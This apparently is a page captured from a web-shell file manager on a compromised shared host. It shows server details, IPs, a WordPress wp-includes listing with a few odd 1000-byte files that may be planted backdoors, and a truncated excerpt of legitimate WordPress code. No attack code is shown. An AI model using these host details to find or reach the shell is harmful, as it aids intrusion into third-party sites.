Current Path: > home > ivftiowh > > www > wp-includes
Operation : Linux premium88.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 Software : Apache Server IP : 185.61.154.216 | Your IP: 216.73.216.44 Domains : 1034 Domain(s) Permission : [ 0755 ]
Name | Type | Size | Last Modified | Actions |
---|---|---|---|---|
ID3 | Directory | - | - | |
IXR | Directory | - | - | |
PHPMailer | Directory | - | - | |
Requests | Directory | - | - | |
SimplePie | Directory | - | - | |
Text | Directory | - | - | |
assets | Directory | - | - | |
block-patterns | Directory | - | - | |
block-supports | Directory | - | - | |
blocks | Directory | - | - | |
certificates | Directory | - | - | |
css | Directory | - | - | |
customize | Directory | - | - | |
fonts | Directory | - | - | |
html-api | Directory | - | - | |
images | Directory | - | - | |
js | Directory | - | - | |
php-compat | Directory | - | - | |
pomo | Directory | - | - | |
rest-api | Directory | - | - | |
sitemaps | Directory | - | - | |
sodium_compat | Directory | - | - | |
style-engine | Directory | - | - | |
theme-compat | Directory | - | - | |
widgets | Directory | - | - | |
.htaccess | File | 160 bytes | June 28 2024 08:27:59. | |
admin-bar.php | File | 35131 bytes | September 13 2023 04:25:41. | |
atomlib.php | File | 11950 bytes | September 13 2023 04:25:41. | |
author-template.php | File | 18951 bytes | September 13 2023 04:25:41. | |
block-editor.php | File | 27598 bytes | September 13 2023 04:25:41. | |
block-i18n.json | File | 316 bytes | September 13 2023 04:25:41. | |
block-patterns.php | File | 15901 bytes | September 13 2023 04:25:41. | |
block-template-utils.php | File | 49130 bytes | September 13 2023 04:25:41. | |
block-template.php | File | 10592 bytes | September 13 2023 04:25:42. | |
blocks.php | File | 59159 bytes | June 24 2024 20:05:07. | |
bookmark-template.php | File | 12909 bytes | September 13 2023 04:25:41. | |
bookmark.php | File | 15378 bytes | September 13 2023 04:25:41. | |
cache-compat.php | File | 5969 bytes | September 13 2023 04:25:42. | |
cache.php | File | 13474 bytes | September 13 2023 04:25:42. | |
canonical.php | File | 33339 bytes | September 13 2023 04:25:41. | |
capabilities.php | File | 40026 bytes | September 13 2023 04:25:41. | |
category-template.php | File | 57009 bytes | September 13 2023 04:25:41. | |
category.php | File | 12702 bytes | September 13 2023 04:25:41. | |
class-IXR.php | File | 2543 bytes | August 05 2020 08:21:22. | |
class-feed.php | File | 529 bytes | August 05 2020 08:21:23. | |
class-http.php | File | 367 bytes | September 13 2023 04:25:42. | |
class-json.php | File | 43684 bytes | September 13 2023 04:25:42. | |
class-oembed.php | File | 401 bytes | September 13 2023 04:25:41. | |
class-phpass.php | File | 6708 bytes | September 13 2023 04:25:41. | |
class-phpmailer.php | File | 664 bytes | September 13 2023 04:25:41. | |
class-pop3.php | File | 20969 bytes | September 13 2023 04:25:41. | |
class-requests.php | File | 2237 bytes | September 13 2023 04:25:41. | |
class-simplepie.php | File | 98124 bytes | September 13 2023 04:25:41. | |
class-smtp.php | File | 457 bytes | September 13 2023 04:25:41. | |
class-snoopy.php | File | 37715 bytes | September 13 2023 04:25:42. | |
class-walker-category-dropdown.php | File | 2473 bytes | September 13 2023 04:25:41. | |
class-walker-category.php | File | 8478 bytes | September 13 2023 04:25:41. | |
class-walker-comment.php | File | 14214 bytes | September 13 2023 04:25:41. | |
class-walker-nav-menu.php | File | 11313 bytes | September 13 2023 04:25:42. | |
class-walker-page-dropdown.php | File | 2710 bytes | September 13 2023 04:25:41. | |
class-walker-page.php | File | 7623 bytes | September 13 2023 04:25:41. | |
class-wp-admin-bar-plain.php | File | 1000 bytes | September 13 2023 04:25:41. | |
class-wp-admin-bar.php | File | 17364 bytes | September 13 2023 04:25:41. | |
class-wp-ajax-response.php | File | 5266 bytes | September 13 2023 04:25:41. | |
class-wp-application-passwords.php | File | 12854 bytes | September 13 2023 04:25:41. | |
class-wp-block-editor-context.php | File | 1350 bytes | September 13 2023 04:25:42. | |
class-wp-block-list.php | File | 4749 bytes | September 13 2023 04:25:42. | |
class-wp-block-live.php | File | 1000 bytes | September 13 2023 04:25:41. | |
class-wp-block-parser-block.php | File | 2555 bytes | September 13 2023 04:25:42. | |
class-wp-block-parser-frame.php | File | 1916 bytes | September 13 2023 04:25:41. | |
class-wp-block-parser.php | File | 11761 bytes | September 13 2023 04:25:41. | |
class-wp-block-pattern-categories-registry.php | File | 5371 bytes | September 13 2023 04:25:42. | |
class-wp-block-patterns-registry.php | File | 8775 bytes | October 13 2023 06:16:03. | |
class-wp-block-styles-registry.php | File | 5883 bytes | September 13 2023 04:25:41. | |
class-wp-block-supports.php | File | 5521 bytes | September 13 2023 04:25:42. | |
class-wp-block-template.php | File | 1951 bytes | September 13 2023 04:25:41. | |
class-wp-block-type-registry.php | File | 5013 bytes | October 13 2023 06:16:03. | |
class-wp-block-type.php | File | 14301 bytes | September 13 2023 04:25:41. | |
class-wp-block.php | File | 8402 bytes | September 13 2023 04:25:42. | |
class-wp-classic-to-block-menu-converter.php | File | 4088 bytes | September 13 2023 04:25:42. | |
class-wp-comment-query.php | File | 47829 bytes | September 13 2023 04:25:41. | |
class-wp-comment.php | File | 9357 bytes | September 13 2023 04:25:41. | |
class-wp-customize-control.php | File | 25843 bytes | September 13 2023 04:25:41. | |
class-wp-customize-manager.php | File | 202163 bytes | September 13 2023 04:25:41. | |
class-wp-customize-nav-menus.php | File | 57304 bytes | September 13 2023 04:25:41. | |
class-wp-customize-panel.php | File | 10671 bytes | September 13 2023 04:25:41. | |
class-wp-customize-section.php | File | 11245 bytes | September 13 2023 04:25:42. | |
class-wp-customize-setting.php | File | 29890 bytes | September 13 2023 04:25:41. | |
class-wp-customize-widgets.php | File | 71633 bytes | September 13 2023 04:25:41. | |
class-wp-date-query.php | File | 35719 bytes | September 13 2023 04:25:42. | |
class-wp-dependencies.php | File | 14063 bytes | September 13 2023 04:25:42. | |
class-wp-dependency.php | File | 2627 bytes | September 13 2023 04:25:42. | |
class-wp-duotone.php | File | 39362 bytes | September 13 2023 04:25:41. | |
class-wp-editor.php | File | 72084 bytes | September 13 2023 04:25:42. | |
class-wp-embed.php | File | 15994 bytes | September 13 2023 04:25:42. | |
class-wp-error.php | File | 7502 bytes | September 13 2023 04:25:41. | |
class-wp-fatal-error-handler.php | File | 7872 bytes | September 13 2023 04:25:41. | |
class-wp-feed-cache-transient.php | File | 2586 bytes | September 13 2023 04:25:41. | |
class-wp-feed-cache.php | File | 996 bytes | September 13 2023 04:25:41. | |
class-wp-hook.php | File | 15628 bytes | September 13 2023 04:25:41. | |
class-wp-http-cookie.php | File | 7389 bytes | September 13 2023 04:25:41. | |
class-wp-http-curl.php | File | 12492 bytes | September 13 2023 04:25:41. | |
class-wp-http-encoding.php | File | 6689 bytes | September 13 2023 04:25:41. | |
class-wp-http-ixr-client.php | File | 3501 bytes | September 13 2023 04:25:41. | |
class-wp-http-proxy.php | File | 5980 bytes | September 13 2023 04:25:42. | |
class-wp-http-requests-hooks.php | File | 2022 bytes | September 13 2023 04:25:41. | |
class-wp-http-requests-response.php | File | 4400 bytes | September 13 2023 04:25:41. | |
class-wp-http-response.php | File | 2977 bytes | September 13 2023 04:25:41. | |
class-wp-http-streams.php | File | 16810 bytes | September 13 2023 04:25:42. | |
class-wp-http.php | File | 40350 bytes | September 13 2023 04:25:41. | |
class-wp-image-editor-gd.php | File | 16623 bytes | September 13 2023 04:25:41. | |
class-wp-image-editor-imagick.php | File | 29990 bytes | September 13 2023 04:25:41. | |
class-wp-image-editor.php | File | 17133 bytes | September 13 2023 04:25:42. | |
class-wp-list-util.php | File | 7443 bytes | September 13 2023 04:25:41. | |
class-wp-locale-switcher.php | File | 6561 bytes | September 13 2023 04:25:41. | |
class-wp-locale.php | File | 16115 bytes | September 13 2023 04:25:41. | |
class-wp-matchesmapregex.php | File | 1826 bytes | September 13 2023 04:25:41. | |
class-wp-meta-query.php | File | 30533 bytes | September 13 2023 04:25:41. | |
class-wp-metadata-lazyloader.php | File | 6833 bytes | September 13 2023 04:25:41. | |
class-wp-navigation-fallback.php | File | 6980 bytes | September 13 2023 04:25:41. | |
class-wp-network-query.php | File | 19291 bytes | September 13 2023 04:25:41. | |
class-wp-network.php | File | 12189 bytes | September 13 2023 04:25:41. | |
class-wp-object-cache.php | File | 17594 bytes | September 13 2023 04:25:42. | |
class-wp-oembed-controller.php | File | 6879 bytes | September 13 2023 04:25:42. | |
class-wp-oembed.php | File | 31394 bytes | September 13 2023 04:25:42. | |
class-wp-paused-extensions-storage.php | File | 5062 bytes | September 13 2023 04:25:41. | |
class-wp-post-type.php | File | 25964 bytes | September 13 2023 04:25:42. | |
class-wp-post.php | File | 6484 bytes | September 13 2023 04:25:41. | |
class-wp-query.php | File | 150699 bytes | September 13 2023 04:25:41. | |
class-wp-recovery-mode-cookie-service.php | File | 6877 bytes | September 13 2023 04:25:41. | |
class-wp-recovery-mode-email-service.php | File | 11183 bytes | September 13 2023 04:25:41. | |
class-wp-recovery-mode-key-service.php | File | 4501 bytes | September 13 2023 04:25:41. | |
class-wp-recovery-mode-link-service.php | File | 3463 bytes | September 13 2023 04:25:41. | |
class-wp-recovery-mode.php | File | 11435 bytes | September 13 2023 04:25:41. | |
class-wp-rewrite.php | File | 63038 bytes | September 13 2023 04:25:41. | |
class-wp-role.php | File | 2524 bytes | September 13 2023 04:25:42. | |
class-wp-roles.php | File | 8578 bytes | September 13 2023 04:25:41. | |
class-wp-scripts.php | File | 28351 bytes | September 13 2023 04:25:41. | |
class-wp-session-tokens.php | File | 7451 bytes | September 13 2023 04:25:41. | |
class-wp-simplepie-file.php | File | 3403 bytes | September 13 2023 04:25:42. | |
class-wp-simplepie-sanitize-kses.php | File | 1800 bytes | September 13 2023 04:25:41. | |
class-wp-site-query.php | File | 31020 bytes | September 13 2023 04:25:42. | |
class-wp-site.php | File | 7454 bytes | September 13 2023 04:25:41. | |
class-wp-styles.php | File | 10898 bytes | September 13 2023 04:25:41. | |
class-wp-tax-query.php | File | 19545 bytes | September 13 2023 04:25:42. | |
class-wp-taxonomy.php | File | 18567 bytes | September 13 2023 04:25:41. | |
class-wp-term-query.php | File | 40451 bytes | September 13 2023 04:25:42. | |
class-wp-term.php | File | 5298 bytes | September 13 2023 04:25:41. | |
class-wp-text-diff-renderer-inline.php | File | 830 bytes | September 13 2023 04:25:41. | |
class-wp-text-diff-renderer-table.php | File | 17187 bytes | September 13 2023 04:25:41. | |
class-wp-textdomain-registry.php | File | 5976 bytes | September 13 2023 04:25:41. | |
class-wp-theme-json-data.php | File | 1554 bytes | September 13 2023 04:25:41. | |
class-wp-theme-json-resolver.php | File | 24669 bytes | September 13 2023 04:25:41. | |
class-wp-theme-json-schema.php | File | 4301 bytes | September 13 2023 04:25:41. | |
class-wp-theme-json.php | File | 129295 bytes | October 13 2023 06:16:03. | |
class-wp-theme.php | File | 56188 bytes | October 13 2023 06:16:03. | |
class-wp-user-meta-session-tokens.php | File | 2990 bytes | August 05 2020 08:21:22. | |
class-wp-user-query.php | File | 42242 bytes | September 13 2023 04:25:41. | |
class-wp-user-request.php | File | 2222 bytes | September 13 2023 04:25:41. | |
class-wp-user.php | File | 22762 bytes | September 13 2023 04:25:41. | |
class-wp-walker.php | File | 13167 bytes | September 13 2023 04:25:41. | |
class-wp-widget-factory.php | File | 3347 bytes | September 13 2023 04:25:42. | |
class-wp-widget.php | File | 18383 bytes | September 13 2023 04:25:42. | |
class-wp-xmlrpc-server.php | File | 214130 bytes | September 13 2023 04:25:41. | |
class-wp.php | File | 25978 bytes | September 13 2023 04:25:41. | |
class-wpdb.php | File | 120418 bytes | September 13 2023 04:25:41. | |
class.wp-dependencies.php | File | 373 bytes | September 13 2023 04:25:42. | |
class.wp-scripts.php | File | 343 bytes | September 13 2023 04:25:42. | |
class.wp-styles.php | File | 338 bytes | September 13 2023 04:25:42. | |
comment-template.php | File | 101319 bytes | September 13 2023 04:25:41. | |
comment.php | File | 128537 bytes | September 13 2023 04:25:41. | |
compat.php | File | 15219 bytes | September 13 2023 04:25:41. | |
cron.php | File | 41540 bytes | September 13 2023 04:25:41. | |
date-long.php | File | 1000 bytes | September 13 2023 04:25:41. | |
date.php | File | 400 bytes | September 13 2023 04:25:41. | |
default-constants.php | File | 10981 bytes | September 13 2023 04:25:41. | |
default-filters.php | File | 33016 bytes | October 13 2023 06:16:03. | |
default-widgets.php | File | 2222 bytes | September 13 2023 04:25:42. | |
deprecated.php | File | 159498 bytes | September 13 2023 04:25:41. | |
embed-template.php | File | 338 bytes | September 13 2023 04:25:41. | |
embed.php | File | 37470 bytes | September 13 2023 04:25:42. | |
error-protection.php | File | 4121 bytes | September 13 2023 04:25:42. | |
feed-atom-comments.php | File | 5448 bytes | September 13 2023 04:25:42. | |
feed-atom.php | File | 3048 bytes | September 13 2023 04:25:41. | |
feed-rdf.php | File | 2668 bytes | August 05 2020 08:21:22. | |
feed-rss.php | File | 1189 bytes | August 05 2020 08:21:23. | |
feed-rss2-comments.php | File | 4080 bytes | September 13 2023 04:25:42. | |
feed-rss2.php | File | 3799 bytes | August 05 2020 08:21:22. | |
feed.php | File | 23057 bytes | September 13 2023 04:25:42. | |
formatting.php | File | 334312 bytes | June 24 2024 20:05:07. | |
functions.php | File | 265650 bytes | June 24 2024 20:05:07. | |
functions.wp-scripts.php | File | 14758 bytes | September 13 2023 04:25:42. | |
functions.wp-styles.php | File | 8583 bytes | September 13 2023 04:25:42. | |
general-template.php | File | 167726 bytes | September 13 2023 04:25:42. | |
global-styles-and-settings.php | File | 18842 bytes | September 13 2023 04:25:41. | |
http.php | File | 23848 bytes | September 13 2023 04:25:42. | |
https-detection.php | File | 6505 bytes | September 13 2023 04:25:41. | |
https-migration.php | File | 4741 bytes | September 13 2023 04:25:42. | |
kses.php | File | 71670 bytes | September 13 2023 04:25:41. | |
l10n.php | File | 62783 bytes | September 13 2023 04:25:42. | |
link-template.php | File | 154510 bytes | September 13 2023 04:25:41. | |
load.php | File | 53954 bytes | September 13 2023 04:25:42. | |
locale.php | File | 162 bytes | August 05 2020 08:21:22. | |
media-template.php | File | 61601 bytes | September 13 2023 04:25:42. | |
media.php | File | 205173 bytes | October 13 2023 06:16:03. | |
meta.php | File | 63276 bytes | September 13 2023 04:25:42. | |
ms-blogs.php | File | 25628 bytes | September 13 2023 04:25:42. | |
ms-default-constants.php | File | 4900 bytes | September 13 2023 04:25:42. | |
ms-default-filters.php | File | 6636 bytes | September 13 2023 04:25:41. | |
ms-deprecated.php | File | 21758 bytes | September 13 2023 04:25:41. | |
ms-files.php | File | 2652 bytes | September 13 2023 04:25:41. | |
ms-functions.php | File | 91258 bytes | September 13 2023 04:25:42. | |
ms-load.php | File | 19870 bytes | September 13 2023 04:25:41. | |
ms-network.php | File | 3782 bytes | September 13 2023 04:25:41. | |
ms-settings.php | File | 4124 bytes | September 13 2023 04:25:42. | |
ms-site.php | File | 40476 bytes | September 13 2023 04:25:41. | |
nav-menu-template.php | File | 25785 bytes | September 13 2023 04:25:42. | |
nav-menu.php | File | 44078 bytes | September 13 2023 04:25:41. | |
navigation-fallback.php | File | 2298 bytes | September 13 2023 04:25:41. | |
option.php | File | 80051 bytes | September 13 2023 04:25:42. | |
pluggable-deprecated.php | File | 6263 bytes | August 05 2020 08:21:22. | |
pluggable.php | File | 111475 bytes | September 13 2023 04:25:41. | |
plugin.php | File | 35465 bytes | September 13 2023 04:25:41. | |
post-formats.php | File | 7100 bytes | September 13 2023 04:25:41. | |
post-template.php | File | 66904 bytes | September 13 2023 04:25:41. | |
post-thumbnail-template.php | File | 10308 bytes | September 13 2023 04:25:42. | |
post.php | File | 274389 bytes | October 13 2023 06:16:03. | |
query.php | File | 37032 bytes | September 13 2023 04:25:41. | |
registration-functions.php | File | 200 bytes | September 13 2023 04:25:41. | |
registration.php | File | 200 bytes | September 13 2023 04:25:41. | |
rest-api.php | File | 97068 bytes | October 13 2023 06:16:03. | |
revision.php | File | 25433 bytes | September 13 2023 04:25:41. | |
rewrite.php | File | 19514 bytes | September 13 2023 04:25:41. | |
robots-template.php | File | 5185 bytes | September 13 2023 04:25:41. | |
rss-functions.php | File | 255 bytes | September 13 2023 04:25:41. | |
rss.php | File | 23015 bytes | September 13 2023 04:25:41. | |
script-loader.php | File | 137080 bytes | September 13 2023 04:25:41. | |
session.php | File | 258 bytes | August 05 2020 08:21:23. | |
shortcodes.php | File | 23854 bytes | October 13 2023 06:16:03. | |
sitemaps.php | File | 3238 bytes | September 13 2023 04:25:42. | |
spl-autoload-compat.php | File | 441 bytes | September 13 2023 04:25:41. | |
style-engine.php | File | 7198 bytes | September 13 2023 04:25:42. | |
taxonomy.php | File | 172884 bytes | September 13 2023 04:25:41. | |
template-canvas.php | File | 592 bytes | September 13 2023 04:25:42. | |
template-loader.php | File | 3012 bytes | September 13 2023 04:25:41. | |
template.php | File | 23327 bytes | September 13 2023 04:25:41. | |
theme-i18n.json | File | 1151 bytes | September 13 2023 04:25:41. | |
theme-previews.php | File | 2826 bytes | October 13 2023 06:16:03. | |
theme-templates.php | File | 5522 bytes | September 13 2023 04:25:42. | |
theme.json | File | 7203 bytes | September 13 2023 04:25:42. | |
theme.php | File | 130874 bytes | September 13 2023 04:25:42. | |
update.php | File | 36755 bytes | September 13 2023 04:25:41. | |
user.php | File | 170915 bytes | September 13 2023 04:25:41. | |
vars.php | File | 5838 bytes | September 13 2023 04:25:42. | |
version.php | File | 928 bytes | June 24 2024 20:05:07. | |
widgets.php | File | 69875 bytes | September 13 2023 04:25:42. | |
wp-db.php | File | 445 bytes | September 13 2023 04:25:41. | |
wp-diff.php | File | 647 bytes | August 05 2020 08:21:23. |
<?php /** * APIs to interact with global settings & styles. * * @package WordPress */ /** * Gets the settings resulting of merging core, theme, and user data. * * @since 5.9.0 * * @param array $path Path to the specific setting to retrieve. Optional. * If empty, will return all settings. * @param array $context { * Metadata to know where to retrieve the $path from. Optional. * * @type string $block_name Which block to retrieve the settings from. * If empty, it'll return the settings for the global context. * @type string $origin Which origin to take data from. * Valid values are 'all' (core, theme, and user) or 'base' (core and theme). * If empty or unknown, 'all' is used. * } * @return mixed The settings array or individual setting value to retrieve. */ function wp_get_global_settings( $path = array(), $context = array() ) { if ( ! empty( $context['block_name'] ) ) { $new_path = array( 'blocks', $context['block_name'] ); foreach ( $path as $subpath ) { $new_path[] = $subpath; } $path = $new_path; } /* * This is the default value when no origin is provided or when it is 'all'. * * The $origin is used as part of the cache key. Changes here need to account * for clearing the cache appropriately. */ $origin = 'custom'; if ( ! wp_theme_has_theme_json() || ( isset( $context['origin'] ) && 'base' === $context['origin'] ) ) { $origin = 'theme'; } /* * By using the 'theme_json' group, this data is marked to be non-persistent across requests. * See `wp_cache_add_non_persistent_groups` in src/wp-includes/load.php and other places. * * The rationale for this is to make sure derived data from theme.json * is always fresh from the potential modifications done via hooks * that can use dynamic data (modify the stylesheet depending on some option, * settings depending on user permissions, etc.). * See some of the existing hooks to modify theme.json behaviour: * https://make.wordpress.org/core/2022/10/10/filters-for-theme-json-data/ * * A different alternative considered was to invalidate the cache upon certain * events such as options add/update/delete, user meta, etc. * It was judged not enough, hence this approach. * See https://github.com/WordPress/gutenberg/pull/45372 */ $cache_group = 'theme_json'; $cache_key = 'wp_get_global_settings_' . $origin; /* * Ignore cache when the development mode is set to 'theme', so it doesn't interfere with the theme * developer's workflow. */ $can_use_cached = ! wp_is_development_mode( 'theme' ); $settings = false; if ( $can_use_cached ) { $settings = wp_cache_get( $cache_key, $cache_group ); } if ( false === $settings ) { $settings = WP_Theme_JSON_Resolver::get_merged_data( $origin )->get_settings(); if ( $can_use_cached ) { wp_cache_set( $cache_key, $settings, $cache_group ); } } return _wp_array_get( $settings, $path, $settings ); } /** * Gets the styles resulting of merging core, theme, and user data. * * @since 5.9.0 * @since 6.3.0 the internal link format "var:preset|color|secondary" is resolved * to "var(--wp--preset--font-size--small)" so consumers don't have to. * @since 6.3.0 `transforms` is now usable in the `context` parameter. In case [`transforms`]['resolve_variables'] * is defined, variables are resolved to their value in the styles. * * @param array $path Path to the specific style to retrieve. Optional. * If empty, will return all styles. * @param array $context { * Metadata to know where to retrieve the $path from. Optional. * * @type string $block_name Which block to retrieve the styles from. * If empty, it'll return the styles for the global context. * @type string $origin Which origin to take data from. * Valid values are 'all' (core, theme, and user) or 'base' (core and theme). * If empty or unknown, 'all' is used. * @type array $transforms Which transformation(s) to apply. * Valid value is array( 'resolve-variables' ). * If defined, variables are resolved to their value in the styles. * } * @return mixed The styles array or individual style value to retrieve. */ function wp_get_global_styles( $path = array(), $context = array() ) { if ( ! empty( $context['block_name'] ) ) { $path = array_merge( array( 'blocks', $context['block_name'] ), $path ); } $origin = 'custom'; if ( isset( $context['origin'] ) && 'base' === $context['origin'] ) { $origin = 'theme'; } $resolve_variables = isset( $context['transforms'] ) && is_array( $context['transforms'] ) && in_array( 'resolve-variables', $context['transforms'], true ); $merged_data = WP_Theme_JSON_Resolver::get_merged_data( $origin ); if ( $resolve_variables ) { $merged_data = WP_Theme_JSON::resolve_variables( $merged_data ); } $styles = $merged_data->get_raw_data()['styles']; return _wp_array_get( $styles, $path, $styles ); } /** * Returns the stylesheet resulting of merging core, theme, and user data. * * @since 5.9.0 * @since 6.1.0 Added 'base-layout-styles' support. * * @param array $types Optional. Types of styles to load. * It accepts as values 'variables', 'presets', 'styles', 'base-layout-styles'. * If empty, it'll load the following: * - for themes without theme.json: 'variables', 'presets', 'base-layout-styles'. * - for themes with theme.json: 'variables', 'presets', 'styles'. * @return string Stylesheet. */ function wp_get_global_stylesheet( $types = array() ) { /* * Ignore cache when the development mode is set to 'theme', so it doesn't interfere with the theme * developer's workflow. */ $can_use_cached = empty( $types ) && ! wp_is_development_mode( 'theme' ); /* * By using the 'theme_json' group, this data is marked to be non-persistent across requests. * @see `wp_cache_add_non_persistent_groups()`. * * The rationale for this is to make sure derived data from theme.json * is always fresh from the potential modifications done via hooks * that can use dynamic data (modify the stylesheet depending on some option, * settings depending on user permissions, etc.). * See some of the existing hooks to modify theme.json behavior: * @see https://make.wordpress.org/core/2022/10/10/filters-for-theme-json-data/ * * A different alternative considered was to invalidate the cache upon certain * events such as options add/update/delete, user meta, etc. * It was judged not enough, hence this approach. * @see https://github.com/WordPress/gutenberg/pull/45372 */ $cache_group = 'theme_json'; $cache_key = 'wp_get_global_stylesheet'; if ( $can_use_cached ) { $cached = wp_cache_get( $cache_key, $cache_group ); if ( $cached ) { return $cached; } } $tree = WP_Theme_JSON_Resolver::get_merged_data(); $supports_theme_json = wp_theme_has_theme_json(); if ( empty( $types ) && ! $supports_theme_json ) { $types = array( 'variables', 'presets', 'base-layout-styles' ); } elseif ( empty( $types ) ) { $types = array( 'variables', 'styles', 'presets' ); } /* * If variables are part of the stylesheet, then add them. * This is so themes without a theme.json still work as before 5.9: * they can override the default presets. * See https://core.trac.wordpress.org/ticket/54782 */ $styles_variables = ''; if ( in_array( 'variables', $types, true ) ) { /* * Only use the default, theme, and custom origins. Why? * Because styles for `blocks` origin are added at a later phase * (i.e. in the render cycle). Here, only the ones in use are rendered. * @see wp_add_global_styles_for_blocks */ $origins = array( 'default', 'theme', 'custom' ); $styles_variables = $tree->get_stylesheet( array( 'variables' ), $origins ); $types = array_diff( $types, array( 'variables' ) ); } /* * For the remaining types (presets, styles), we do consider origins: * * - themes without theme.json: only the classes for the presets defined by core * - themes with theme.json: the presets and styles classes, both from core and the theme */ $styles_rest = ''; if ( ! empty( $types ) ) { /* * Only use the default, theme, and custom origins. Why? * Because styles for `blocks` origin are added at a later phase * (i.e. in the render cycle). Here, only the ones in use are rendered. * @see wp_add_global_styles_for_blocks */ $origins = array( 'default', 'theme', 'custom' ); if ( ! $supports_theme_json ) { $origins = array( 'default' ); } $styles_rest = $tree->get_stylesheet( $types, $origins ); } $stylesheet = $styles_variables . $styles_rest; if ( $can_use_cached ) { wp_cache_set( $cache_key, $stylesheet, $cache_group ); } return $stylesheet; } /** * Gets the global styles custom CSS from theme.json. * * @since 6.2.0 * * @return string The global styles custom CSS. */ function wp_get_global_styles_custom_css() { if ( ! wp_theme_has_theme_json() ) { return ''; } /* * Ignore cache when the development mode is set to 'theme', so it doesn't interfere with the theme * developer's workflow. */ $can_use_cached = ! wp_is_development_mode( 'theme' ); /* * By using the 'theme_json' group, this data is marked to be non-persistent across requests. * @see `wp_cache_add_non_persistent_groups()`. * * The rationale for this is to make sure derived data from theme.json * is always fresh from the potential modifications done via hooks * that can use dynamic data (modify the stylesheet depending on some option, * settings depending on user permissions, etc.). * See some of the existing hooks to modify theme.json behavior: * @see https://make.wordpress.org/core/2022/10/10/filters-for-theme-json-data/ * * A different alternative considered was to invalidate the cache upon certain * events such as options add/update/delete, user meta, etc. * It was judged not enough, hence this approach. * @see https://github.com/WordPress/gutenberg/pull/45372 */ $cache_key = 'wp_get_global_styles_custom_css'; $cache_group = 'theme_json'; if ( $can_use_cached ) { $cached = wp_cache_get( $cache_key, $cache_group ); if ( $cached ) { return $cached; } } $tree = WP_Theme_JSON_Resolver::get_merged_data(); $stylesheet = $tree->get_custom_css(); if ( $can_use_cached ) { wp_cache_set( $cache_key, $stylesheet, $cache_group ); } return $stylesheet; } /** * Adds global style rules to the inline style for each block. * * @since 6.1.0 */ function wp_add_global_styles_for_blocks() { $tree = WP_Theme_JSON_Resolver::get_merged_data(); $block_nodes = $tree->get_styles_block_nodes(); foreach ( $block_nodes as $metadata ) { $block_css = $tree->get_styles_for_block( $metadata ); if ( ! wp_should_load_separate_core_block_assets() ) { wp_add_inline_style( 'global-styles', $block_css ); continue; } $stylesheet_handle = 'global-styles'; if ( isset( $metadata['name'] ) ) { /* * These block styles are added on block_render. * This hooks inline CSS to them so that they are loaded conditionally * based on whether or not the block is used on the page. */ if ( str_starts_with( $metadata['name'], 'core/' ) ) { $block_name = str_replace( 'core/', '', $metadata['name'] ); $stylesheet_handle = 'wp-block-' . $block_name; } wp_add_inline_style( $stylesheet_handle, $block_css ); } // The likes of block element styles from theme.json do not have $metadata['name'] set. if ( ! isset( $metadata['name'] ) && ! empty( $metadata['path'] ) ) { $block_name = wp_get_block_name_from_theme_json_path( $metadata['path'] ); if ( $block_name ) { if ( str_starts_with( $block_name, 'core/' ) ) { $block_name = str_replace( 'core/', '', $block_name ); $stylesheet_handle = 'wp-block-' . $block_name; } wp_add_inline_style( $stylesheet_handle, $block_css ); } } } } /** * Gets the block name from a given theme.json path. * * @since 6.3.0 * @access private * * @param array $path An array of keys describing the path to a property in theme.json. * @return string Identified block name, or empty string if none found. */ function wp_get_block_name_from_theme_json_path( $path ) { // Block name is expected to be the third item after 'styles' and 'blocks'. if ( count( $path ) >= 3 && 'styles' === $path[0] && 'blocks' === $path[1] && str_contains( $path[2], '/' ) ) { return $path[2]; } /* * As fallback and for backward compatibility, allow any core block to be * at any position. */ $result = array_values( array_filter( $path, static function ( $item ) { if ( str_contains( $item, 'core/' ) ) { return true; } return false; } ) ); if ( isset( $result[0] ) ) { return $result[0]; } return ''; } /** * Checks whether a theme or its parent has a theme.json file. * * @since 6.2.0 * * @return bool Returns true if theme or its parent has a theme.json file, false otherwise. */ function wp_theme_has_theme_json() { static $theme_has_support = array(); $stylesheet = get_stylesheet(); if ( isset( $theme_has_support[ $stylesheet ] ) && /* * Ignore static cache when the development mode is set to 'theme', to avoid interfering with * the theme developer's workflow. */ ! wp_is_development_mode( 'theme' ) ) { return $theme_has_support[ $stylesheet ]; } $stylesheet_directory = get_stylesheet_directory(); $template_directory = get_template_directory(); // This is the same as get_theme_file_path(), which isn't available in load-styles.php context if ( $stylesheet_directory !== $template_directory && file_exists( $stylesheet_directory . '/theme.json' ) ) { $path = $stylesheet_directory . '/theme.json'; } else { $path = $template_directory . '/theme.json'; } /** This filter is documented in wp-includes/link-template.php */ $path = apply_filters( 'theme_file_path', $path, 'theme.json' ); $theme_has_support[ $stylesheet ] = file_exists( $path ); return $theme_has_support[ $stylesheet ]; } /** * Cleans the caches under the theme_json group. * * @since 6.2.0 */ function wp_clean_theme_json_cache() { wp_cache_delete( 'wp_get_global_stylesheet', 'theme_json' ); wp_cache_delete( 'wp_get_global_styles_svg_filters', 'theme_json' ); wp_cache_delete( 'wp_get_global_settings_custom', 'theme_json' ); wp_cache_delete( 'wp_get_global_settings_theme', 'theme_json' ); wp_cache_delete( 'wp_get_global_styles_custom_css', 'theme_json' ); WP_Theme_JSON_Resolver::clean_cached_data(); } /** * Returns the current theme's wanted patterns (slugs) to be * registered from Pattern Directory. * * @since 6.3.0 * * @return string[] */ function wp_get_theme_directory_pattern_slugs() { return WP_Theme_JSON_Resolver::get_theme_data( array(), array( 'with_supports' => false ) )->get_patterns(); } /** * Determines the CSS selector for the block type and property provided, * returning it if available. * * @since 6.3.0 * * @param WP_Block_Type $block_type The block's type. * @param string|array $target The desired selector's target, `root` or array path. * @param boolean $fallback Whether to fall back to broader selector. * * @return string|null CSS selector or `null` if no selector available. */ function wp_get_block_css_selector( $block_type, $target = 'root', $fallback = false ) { if ( empty( $target ) ) { return null; } $has_selectors = ! empty( $block_type->selectors ); // Root Selector. // Calculated before returning as it can be used as fallback for // feature selectors later on. $root_selector = null; if ( $has_selectors && isset( $block_type->selectors['root'] ) ) { // Use the selectors API if available. $root_selector = $block_type->selectors['root']; } elseif ( isset( $block_type->supports['__experimentalSelector'] ) && is_string( $block_type->supports['__experimentalSelector'] ) ) { // Use the old experimental selector supports property if set. $root_selector = $block_type->supports['__experimentalSelector']; } else { // If no root selector found, generate default block class selector. $block_name = str_replace( '/', '-', str_replace( 'core/', '', $block_type->name ) ); $root_selector = ".wp-block-{$block_name}"; } // Return selector if it's the root target we are looking for. if ( 'root' === $target ) { return $root_selector; } // If target is not `root` we have a feature or subfeature as the target. // If the target is a string 